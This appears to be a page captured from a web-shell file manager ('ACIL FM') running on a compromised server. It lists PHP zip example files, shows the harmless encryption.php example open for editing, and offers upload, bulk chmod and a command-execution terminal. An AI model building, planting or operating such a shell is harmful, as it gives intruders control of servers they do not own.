ACIL FM
Dark
Refresh
Current DIR:
/opt/remi/php74/root/usr/share/doc/pecl/zip/examples
/
opt
remi
php74
root
usr
share
doc
pecl
zip
examples
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
addglob.php
298 B
chmod
View
DL
Edit
Rename
Delete
addpattern.php
313 B
chmod
View
DL
Edit
Rename
Delete
comment.php
177 B
chmod
View
DL
Edit
Rename
Delete
create.php
700 B
chmod
View
DL
Edit
Rename
Delete
dir.php
486 B
chmod
View
DL
Edit
Rename
Delete
encryption.php
1.05 MB
chmod
View
DL
Edit
Rename
Delete
extract.php
518 B
chmod
View
DL
Edit
Rename
Delete
extractAll.php
457 B
chmod
View
DL
Edit
Rename
Delete
fopen.php
535 B
chmod
View
DL
Edit
Rename
Delete
get_set_comments.php
914 B
chmod
View
DL
Edit
Rename
Delete
odt.php
452 B
chmod
View
DL
Edit
Rename
Delete
oldapi.php
374 B
chmod
View
DL
Edit
Rename
Delete
set_compression.php
620 B
chmod
View
DL
Edit
Rename
Delete
test.zip
553 B
chmod
View
DL
Edit
ListZip
Unzip
Rename
Delete
test1.zip
681 B
chmod
View
DL
Edit
ListZip
Unzip
Rename
Delete
test_with_comment.zip
560 B
chmod
View
DL
Edit
ListZip
Unzip
Rename
Delete
too.php
18 B
chmod
View
DL
Edit
Rename
Delete
zipcmd.php
3.55 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/remi/php74/root/usr/share/doc/pecl/zip/examples/encryption.php
<?php error_reporting(E_ALL); if (!extension_loaded('zip')) { dl('zip.so'); } $name = __DIR__ . '/encrypted.zip'; $pass = 'secret'; $file = 'foo.php'; echo "== Create with per file password\n"; $zip = new ZipArchive; $zip->open($name, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE); $zip->addFile(__FILE__, $file); $zip->setEncryptionName($file, ZipArchive::EM_AES_256, $pass); $zip->close(); echo "== Create with global password\n"; $zip = new ZipArchive; $zip->open($name, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE); $zip->setPassword($pass); $zip->addFile(__FILE__, $file); $zip->setEncryptionName($file, ZipArchive::EM_AES_256); $zip->close(); echo "== Stat\n"; $zip->open($name); print_r($zip->statName($file)); echo "== Read\n"; $zip->setPassword($pass); $text = $zip->getFromName($file); printf("Size = %d\n", strlen($text)); $zip->close(); echo "== Stream with context\n"; $ctx = stream_context_create(array( 'zip' => array( 'password' => $pass ) )); $text = file_get_contents("zip://$name#$file", false, $ctx); printf("Size = %d\n", strlen($text));
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply